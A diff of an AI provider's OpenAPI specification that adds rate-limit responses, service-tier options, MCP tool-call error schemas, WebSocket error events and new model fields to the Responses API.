application/json:
schema:
$ref: '#/components/schemas/BetaResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get a model response
group: responses
@@ -25985,6 +26302,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaError'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete a model response
group: responses
@@ -26054,6 +26373,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaError'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Cancel a response
group: responses
@@ -26155,6 +26476,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaCompactResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Compact a response
group: responses
@@ -26360,6 +26683,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaResponseItemList'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List input items
group: responses
@@ -26432,6 +26757,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaTokenCountsResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Get input token counts
group: responses
@@ -30154,6 +30481,9 @@ components:
type: integer
default: 0
description: Tokens generated by the model for reasoning.
+ text_tokens:
+ type: integer
+ description: Text output tokens generated by the model.
rejected_prediction_tokens:
type: integer
default: 0
@@ -30175,6 +30505,12 @@ components:
type: integer
default: 0
description: Cached tokens present in the prompt.
+ text_tokens:
+ type: integer
+ description: Text input tokens present in the prompt.
+ image_tokens:
+ type: integer
+ description: Image input tokens present in the prompt.
cache_write_tokens:
type: integer
default: 0
@@ -30920,6 +31256,8 @@ components:
characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
to browse and compare available models.
$ref: '#/components/schemas/ModelIdsShared'
+ service_tier:
+ $ref: '#/components/schemas/ServiceTier'
modalities:
$ref: '#/components/schemas/ResponseModalities'
verbosity:
@@ -33527,6 +33865,8 @@ components:
- $ref: '#/components/schemas/ResponseProperties'
- type: object
properties:
+ service_tier:
+ $ref: '#/components/schemas/ServiceTierResponses'
truncation:
deprecated: true
anyOf:
@@ -40330,10 +40670,9 @@ components:
The output from the tool call.
- type: 'null'
error:
+ description: The error from the tool call, if any.
anyOf:
- - type: string
- description: |
- The error from the tool call, if any.
+ - $ref: '#/components/schemas/MCPToolCallError'
- type: 'null'
status:
$ref: '#/components/schemas/MCPToolCallStatus'
@@ -40352,6 +40691,13 @@ components:
- server_label
- name
- arguments
+ MCPToolCallError:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/MCPProtocolError'
+ - $ref: '#/components/schemas/MCPToolExecutionError'
+ - $ref: '#/components/schemas/HTTPError'
MCPToolFilter:
type: object
title: MCP tool filter
@@ -41047,6 +41393,12 @@ components:
owned_by:
type: string
description: The organization that owns the model.
+ shutdown_date:
+ anyOf:
+ - type: string
+ format: date
+ - type: 'null'
+ description: The date when the model will shut down, or null if not announced.
required:
- id
- object
@@ -41059,7 +41411,8 @@ components:
"id": "VAR_chat_model_id",
"object": "model",
"created": 1686935002,
- "owned_by": "openai"
+ "owned_by": "openai",
+ "shutdown_date": "2026-10-23"
}
ModelIds:
anyOf:
@@ -41088,6 +41441,8 @@ components:
- o4-mini-deep-research-2025-06-26
- computer-use-preview
- computer-use-preview-2025-03-11
+ - gpt-5.5-pro
+ - gpt-5.5-pro-2026-04-23
- gpt-5-codex
- gpt-5-pro
- gpt-5-pro-2025-10-06
@@ -41166,8 +41521,6 @@ components:
description: |
Used by OpenAI to cache responses for similar requests to optimize your cache hit rates. Replaces the `user` field. [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
- type: 'null'
- service_tier:
- $ref: '#/components/schemas/ServiceTier'
prompt_cache_retention:
deprecated: true
anyOf:
@@ -51648,6 +52001,12 @@ components:
The encrypted content of the reasoning item. This is populated by default
for reasoning items returned by `POST /v1/responses` and WebSocket
`response.create` requests.
+
+ When streaming, use the completed reasoning item and its
+ `encrypted_content` from the `response.output_item.done` event in
+ subsequent requests. The `encrypted_content` in
+ `response.output_item.added` may be incomplete. This is especially
+ important when `store` is `false` or when using Zero Data Retention.
- type: 'null'
summary:
type: array
@@ -51681,6 +52040,8 @@ components:
- $ref: '#/components/schemas/ResponseProperties'
- type: object
properties:
+ service_tier:
+ $ref: '#/components/schemas/ServiceTierResponses'
truncation:
anyOf:
- type: string
@@ -53633,7 +53994,10 @@ components:
item:
$ref: '#/components/schemas/OutputItem'
description: |
- The output item that was added.
+ The output item that was added. For reasoning items, `encrypted_content`
+ may be incomplete while the item is in progress. Use the reasoning item
+ from the corresponding `response.output_item.done` event when passing it
+ as input to a subsequent request.
required:
- type
- output_index
@@ -53733,7 +54097,9 @@ components:
type: integer
description: The sequence number of this event.
annotation:
- type: object
+ anyOf:
+ - $ref: '#/components/schemas/Annotation'
+ - type: 'null'
description: The annotation object being added. (See annotation schema for details.)
required:
- type
@@ -53754,10 +54120,10 @@ components:
"content_index": 0,
"annotation_index": 0,
"annotation": {
- "type": "text_annotation",
- "text": "This is a test annotation",
- "start": 0,
- "end": 10
+ "type": "file_citation",
+ "file_id": "file-abc",
+ "index": 0,
+ "filename": "example.txt"
},
"sequence_number": 1
}
@@ -54296,6 +54662,7 @@ components:
"sequence_number": 1
}
ResponseStreamEvent:
+ description: Event emitted while a response is streamed.
anyOf:
- $ref: '#/components/schemas/ResponseAudioDeltaEvent'
- $ref: '#/components/schemas/ResponseAudioDoneEvent'
@@ -54647,6 +55014,49 @@ components:
"item_id": "ws_123",
"sequence_number": 0
}
+ ResponseWsError:
+ type: object
+ title: ResponseWsError
+ description: Emitted when an error occurs while processing a Responses WebSocket request.
+ properties:
+ type:
+ type: string
+ description: The type of the event. Always `error`.
+ enum:
+ - error
+ x-stainless-const: true
+ status:
+ type: integer
+ description: The HTTP status code associated with a WebSocket protocol error.
+ sequence_number:
+ type: integer
+ description: The sequence number of an error emitted by the response stream.
+ error:
+ $ref: '#/components/schemas/ErrorPayload'
+ description: Details about the error.
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present when the
+ originating `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - error
+ x-oaiMeta:
+ name: error
+ group: responses
+ example: |
+ {
+ "type": "error",
+ "status": 400,
+ "stream_id": "agent_1",
+ "error": {
+ "type": "invalid_request_error",
+ "code": "websocket_stream_limit_reached",
+ "message": "This WebSocket connection has reached its stream limit.",
+ "param": "stream_id"
+ }
+ }
ResponsesClientEvent:
discriminator:
propertyName: type
@@ -54861,18 +55271,6 @@ components:
The WebSocket lane that emitted this event. This field is present
when the originating `response.create` event supplied a
`stream_id`.
- - title: ResponseWsError
- description: Emitted when an error occurs.
- allOf:
- - $ref: '#/components/schemas/ResponseErrorEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- title: ResponseFileSearchCallWsCompleted
description: Emitted when a file search call is completed (results found).
allOf:
@@ -55359,9 +55757,62 @@ components:
The WebSocket lane that emitted this event. This field is present
when the originating `response.create` event supplied a
`stream_id`.
+ - $ref: '#/components/schemas/ResponseWsError'
ResponsesWebSocketStreamEvent:
allOf:
- - $ref: '#/components/schemas/ResponseStreamEvent'
+ - anyOf:
+ - $ref: '#/components/schemas/ResponseAudioDeltaEvent'
+ - $ref: '#/components/schemas/ResponseAudioDoneEvent'
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDeltaEvent'
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDoneEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDeltaEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDoneEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/ResponseCompletedEvent'
+ - $ref: '#/components/schemas/ResponseContentPartAddedEvent'
+ - $ref: '#/components/schemas/ResponseContentPartDoneEvent'
+ - $ref: '#/components/schemas/ResponseCreatedEvent'
+ - $ref: '#/components/schemas/ResponseFileSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseFileSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/ResponseInProgressEvent'
+ - $ref: '#/components/schemas/ResponseFailedEvent'
+ - $ref: '#/components/schemas/ResponseIncompleteEvent'
+ - $ref: '#/components/schemas/ResponseOutputItemAddedEvent'
+ - $ref: '#/components/schemas/ResponseOutputItemDoneEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartAddedEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartDoneEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDeltaEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDoneEvent'
+ - $ref: '#/components/schemas/ResponseReasoningTextDeltaEvent'
+ - $ref: '#/components/schemas/ResponseReasoningTextDoneEvent'
+ - $ref: '#/components/schemas/ResponseRefusalDeltaEvent'
+ - $ref: '#/components/schemas/ResponseRefusalDoneEvent'
+ - $ref: '#/components/schemas/ResponseTextDeltaEvent'
+ - $ref: '#/components/schemas/ResponseTextDoneEvent'
+ - $ref: '#/components/schemas/ResponseWebSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseWebSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseWebSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallGeneratingEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallPartialImageEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallFailedEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseMCPListToolsCompletedEvent'
+ - $ref: '#/components/schemas/ResponseMCPListToolsFailedEvent'
+ - $ref: '#/components/schemas/ResponseMCPListToolsInProgressEvent'
+ - $ref: '#/components/schemas/ResponseOutputTextAnnotationAddedEvent'
+ - $ref: '#/components/schemas/ResponseQueuedEvent'
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDeltaEvent'
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDoneEvent'
- type: object
properties:
stream_id:
@@ -56810,6 +57261,29 @@ components:
- fast
default: auto
- type: 'null'
+ ServiceTierResponses:
+ anyOf:
+ - type: string
+ description: |
+ Specifies the processing type used for serving the request.
+ - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
+ - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
+ - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
+ - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
+ - If set to 'ultrafast', then the request will be processed with the access-controlled Ultrafast Processing service tier. This tier is currently available for `gpt-5.6-sol`; a response served through it will show `service_tier=ultrafast`.
+ - When not set, the default behavior is 'auto'.
+
+ When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
+ enum:
+ - auto
+ - default
+ - flex
+ - scale
+ - priority
+ - fast
+ - ultrafast
+ default: auto
+ - type: 'null'
SpeechAudioDeltaEvent:
type: object
description: Emitted for each chunk of audio data generated during speech synthesis.
@@ -59742,6 +60216,10 @@ components:
- web_search_2025_08_26
description: The type of the web search tool. One of `web_search` or `web_search_2025_08_26`.
default: web_search
+ external_web_access:
+ type: boolean
+ default: true
+ description: Allow live internet access for web search. Defaults to true when omitted. When false, the web search tool runs in offline/cache-only mode and will not fetch new external content.
filters:
anyOf:
- type: object
@@ -63112,6 +63590,53 @@ components:
- status
title: Apply patch tool call output
description: The output emitted by an apply patch tool call.
+ MCPProtocolError:
+ properties:
+ type:
+ type: string
+ enum:
+ - mcp_protocol_error
+ default: mcp_protocol_error
+ x-stainless-const: true
+ code:
+ type: integer
+ message:
+ type: string
+ type: object
+ required:
+ - type
+ - code
+ - message
+ MCPToolExecutionError:
+ properties:
+ type:
+ type: string
+ enum:
+ - mcp_tool_execution_error
+ default: mcp_tool_execution_error
+ x-stainless-const: true
+ content: {}
+ type: object
+ required:
+ - type
+ - content
+ HTTPError:
+ properties:
+ type:
+ type: string
+ enum:
+ - http_error
+ default: http_error
+ x-stainless-const: true
+ code:
+ type: integer
+ message:
+ type: string
+ type: object
+ required:
+ - type
+ - code
+ - message
MCPToolCallStatus:
type: string
enum:
@@ -66531,6 +67056,39 @@ components:
- y
title: Coordinate
description: 'An x/y coordinate pair, e.g. `{ x: 100, y: 200 }`.'
+ ErrorPayload:
+ properties:
+ type:
+ type: string
+ description: The error type that was emitted.
+ code:
+ anyOf:
+ - type: string
+ description: The error code that was emitted, if any.
+ - type: 'null'
+ message:
+ type: string
+ description: The human-readable error message that was emitted.
+ param:
+ anyOf:
+ - type: string
+ description: The parameter name that was associated with the error, if any.
+ - type: 'null'
+ headers:
+ additionalProperties:
+ type: string
+ description: The header value that was emitted.
+ type: object
+ description: The response headers that were emitted with the error, if any.
+ x-oaiTypeLabel: map
+ type: object
+ required:
+ - type
+ - code
+ - message
+ - param
+ title: Error payload
+ description: An error payload that was emitted for a streaming error event.
BetaTokenCountsResource:
properties:
object:
@@ -68038,6 +68596,10 @@ components:
- web_search_2025_08_26
description: The type of the web search tool. One of `web_search` or `web_search_2025_08_26`.
default: web_search
+ external_web_access:
+ type: boolean
+ default: true
+ description: Allow live internet access for web search. Defaults to true when omitted. When false, the web search tool runs in offline/cache-only mode and will not fetch new external content.
filters:
anyOf:
- type: object
@@ -68869,10 +69431,9 @@ components:
The output from the tool call.
- type: 'null'
error:
+ description: The error from the tool call, if any.
anyOf:
- - type: string
- description: |
- The error from the tool call, if any.
+ - $ref: '#/components/schemas/BetaMCPToolCallError'
- type: 'null'
status:
$ref: '#/components/schemas/BetaMCPToolCallStatus'
@@ -68899,6 +69460,60 @@ components:
- incomplete
- calling
- failed
+ BetaMCPToolCallError:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/BetaMCPProtocolError'
+ - $ref: '#/components/schemas/BetaMCPToolExecutionError'
+ - $ref: '#/components/schemas/BetaHTTPError'
+ BetaHTTPError:
+ properties:
+ type:
+ type: string
+ enum:
+ - http_error
+ default: http_error
+ x-stainless-const: true
+ code:
+ type: integer
+ message:
+ type: string
+ type: object
+ required:
+ - type
+ - code
+ - message
+ BetaMCPToolExecutionError:
+ properties:
+ type:
+ type: string
+ enum:
+ - mcp_tool_execution_error
+ default: mcp_tool_execution_error
+ x-stainless-const: true
+ content: {}
+ type: object
+ required:
+ - type
+ - content
+ BetaMCPProtocolError:
+ properties:
+ type:
+ type: string
+ enum:
+ - mcp_protocol_error
+ default: mcp_protocol_error
+ x-stainless-const: true
+ code:
+ type: integer
+ message:
+ type: string
+ type: object
+ required:
+ - type
+ - code
+ - message
BetaMCPApprovalResponse:
type: object
title: MCP approval response
@@ -69761,6 +70376,12 @@ components:
The encrypted content of the reasoning item. This is populated by default
for reasoning items returned by `POST /v1/responses` and WebSocket
`response.create` requests.
+
+ When streaming, use the completed reasoning item and its
+ `encrypted_content` from the `response.output_item.done` event in
+ subsequent requests. The `encrypted_content` in
+ `response.output_item.added` may be incomplete. This is especially
+ important when `store` is `false` or when using Zero Data Retention.
- type: 'null'
summary:
type: array
@@ -71628,6 +72249,8 @@ components:
- o4-mini-deep-research-2025-06-26
- computer-use-preview
- computer-use-preview-2025-03-11
+ - gpt-5.5-pro
+ - gpt-5.5-pro-2026-04-23
- gpt-5-codex
- gpt-5-pro
- gpt-5-pro-2025-10-06
@@ -73150,6 +73773,8 @@ components:
- $ref: '#/components/schemas/BetaResponseProperties'
- type: object
properties:
+ service_tier:
+ $ref: '#/components/schemas/BetaServiceTierResponses'
truncation:
anyOf:
- type: string
@@ -73500,6 +74125,29 @@ components:
- empty_image_file
- failed_to_download_image
- image_file_not_found
+ BetaServiceTierResponses:
+ anyOf:
+ - type: string
+ description: |
+ Specifies the processing type used for serving the request.
+ - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
+ - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
+ - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
+ - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
+ - If set to 'ultrafast', then the request will be processed with the access-controlled Ultrafast Processing service tier. This tier is currently available for `gpt-5.6-sol`; a response served through it will show `service_tier=ultrafast`.
+ - When not set, the default behavior is 'auto'.
+
+ When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
+ enum:
+ - auto
+ - default
+ - flex
+ - scale
+ - priority
+ - fast
+ - ultrafast
+ default: auto
+ - type: 'null'
BetaResponseProperties:
type: object
properties:
@@ -73666,8 +74314,6 @@ components:
description: |
Used by OpenAI to cache responses for similar requests to optimize your cache hit rates. Replaces the `user` field. [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
- type: 'null'
- service_tier:
- $ref: '#/components/schemas/BetaServiceTier'
prompt_cache_retention:
deprecated: true
anyOf:
@@ -73688,27 +74334,6 @@ components:
- Organizations without ZDR enabled default to `24h`.
- Organizations with ZDR enabled default to `in_memory` when `prompt_cache_retention` is not specified.
- type: 'null'
- BetaServiceTier:
- anyOf:
- - type: string
- description: |
- Specifies the processing type used for serving the request.
- - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
- - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
- - When not set, the default behavior is 'auto'.
-
- When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
- enum:
- - auto
- - default
- - flex
- - scale
- - priority
- - fast
- default: auto
- - type: 'null'
BetaMetadata:
anyOf:
- type: object
@@ -73756,7 +74381,9 @@ components:
type: integer
description: The sequence number of this event.
annotation:
- type: object
+ anyOf:
+ - $ref: '#/components/schemas/BetaAnnotation'
+ - type: 'null'
description: The annotation object being added. (See annotation schema for details.)
required:
- type
@@ -73777,10 +74404,10 @@ components:
"content_index": 0,
"annotation_index": 0,
"annotation": {
- "type": "text_annotation",
- "text": "This is a test annotation",
- "start": 0,
- "end": 10
+ "type": "file_citation",
+ "file_id": "file-abc",
+ "index": 0,
+ "filename": "example.txt"
},
"sequence_number": 1
}
@@ -75008,7 +75635,10 @@ components:
item:
$ref: '#/components/schemas/BetaOutputItem'
description: |
- The output item that was added.
+ The output item that was added. For reasoning items, `encrypted_content`
+ may be incomplete while the item is in progress. Use the reasoning item
+ from the corresponding `response.output_item.done` event when passing it
+ as input to a subsequent request.
required:
- type
- output_index
@@ -76529,18 +77159,6 @@ components:
The WebSocket lane that emitted this event. This field is present
when the originating `response.create` event supplied a
`stream_id`.
- - title: BetaResponseWsError
- description: Emitted when an error occurs.
- allOf:
- - $ref: '#/components/schemas/BetaResponseErrorEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- title: BetaResponseFileSearchCallWsCompleted
description: Emitted when a file search call is completed (results found).
allOf:
@@ -77027,6 +77645,7 @@ components:
The WebSocket lane that emitted this event. This field is present
when the originating `response.create` event supplied a
`stream_id`.
+ - $ref: '#/components/schemas/BetaResponseWsError'
- $ref: '#/components/schemas/BetaResponseInjectCreatedEvent'
- $ref: '#/components/schemas/BetaResponseInjectFailedEvent'
BetaResponseInjectFailedEvent:
@@ -77136,9 +77755,142 @@ components:
"response_id": "resp_123",
"sequence_number": 8
}
+ BetaResponseWsError:
+ type: object
+ title: ResponseWsError
+ description: Emitted when an error occurs while processing a Responses WebSocket request.
+ properties:
+ agent:
+ anyOf:
+ - $ref: '#/components/schemas/BetaAgentTag'
+ - type: 'null'
+ description: The agent that owns this multi-agent streaming event.
+ type:
+ type: string
+ description: The type of the event. Always `error`.
+ enum:
+ - error
+ x-stainless-const: true
+ status:
+ type: integer
+ description: The HTTP status code associated with a WebSocket protocol error.
+ sequence_number:
+ type: integer
+ description: The sequence number of an error emitted by the response stream.
+ error:
+ $ref: '#/components/schemas/BetaErrorPayload'
+ description: Details about the error.
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present when the
+ originating `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - error
+ x-oaiMeta:
+ name: error
+ group: responses
+ example: |
+ {
+ "type": "error",
+ "status": 400,
+ "stream_id": "agent_1",
+ "error": {
+ "type": "invalid_request_error",
+ "code": "websocket_stream_limit_reached",
+ "message": "This WebSocket connection has reached its stream limit.",
+ "param": "stream_id"
+ }
+ }
+ BetaErrorPayload:
+ properties:
+ type:
+ type: string
+ description: The error type that was emitted.
+ code:
+ anyOf:
+ - type: string
+ description: The error code that was emitted, if any.
+ - type: 'null'
+ message:
+ type: string
+ description: The human-readable error message that was emitted.
+ param:
+ anyOf:
+ - type: string
+ description: The parameter name that was associated with the error, if any.
+ - type: 'null'
+ headers:
+ additionalProperties:
+ type: string
+ description: The header value that was emitted.
+ type: object
+ description: The response headers that were emitted with the error, if any.
+ x-oaiTypeLabel: map
+ type: object
+ required:
+ - type
+ - code
+ - message
+ - param
+ title: Error payload
+ description: An error payload that was emitted for a streaming error event.
BetaResponsesWebSocketStreamEvent:
allOf:
- - $ref: '#/components/schemas/BetaResponseStreamEvent'
+ - anyOf:
+ - $ref: '#/components/schemas/BetaResponseAudioDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/BetaResponseCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCreatedEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseIncompleteEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputItemAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputItemDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseRefusalDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseRefusalDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallGeneratingEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallPartialImageEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputTextAnnotationAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseQueuedEvent'
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDoneEvent'
- type: object
properties:
stream_id:
@@ -77147,63 +77899,6 @@ components:
The WebSocket lane that emitted this event. This field is present
when the originating `response.create` event supplied a
`stream_id`.
- BetaResponseStreamEvent:
- anyOf:
- - $ref: '#/components/schemas/BetaResponseAudioDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseAudioDoneEvent'
- - $ref: '#/components/schemas/BetaResponseAudioTranscriptDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseAudioTranscriptDoneEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDoneEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
- - $ref: '#/components/schemas/BetaResponseCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
- - $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
- - $ref: '#/components/schemas/BetaResponseCreatedEvent'
- - $ref: '#/components/schemas/BetaResponseErrorEvent'
- - $ref: '#/components/schemas/BetaResponseFileSearchCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseFileSearchCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
- - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/BetaResponseInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseFailedEvent'
- - $ref: '#/components/schemas/BetaResponseIncompleteEvent'
- - $ref: '#/components/schemas/BetaResponseOutputItemAddedEvent'
- - $ref: '#/components/schemas/BetaResponseOutputItemDoneEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartAddedEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartDoneEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDoneEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningTextDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningTextDoneEvent'
- - $ref: '#/components/schemas/BetaResponseRefusalDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseRefusalDoneEvent'
- - $ref: '#/components/schemas/BetaResponseTextDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseTextDoneEvent'
- - $ref: '#/components/schemas/BetaResponseWebSearchCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseWebSearchCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseWebSearchCallSearchingEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallCompletedEvent'
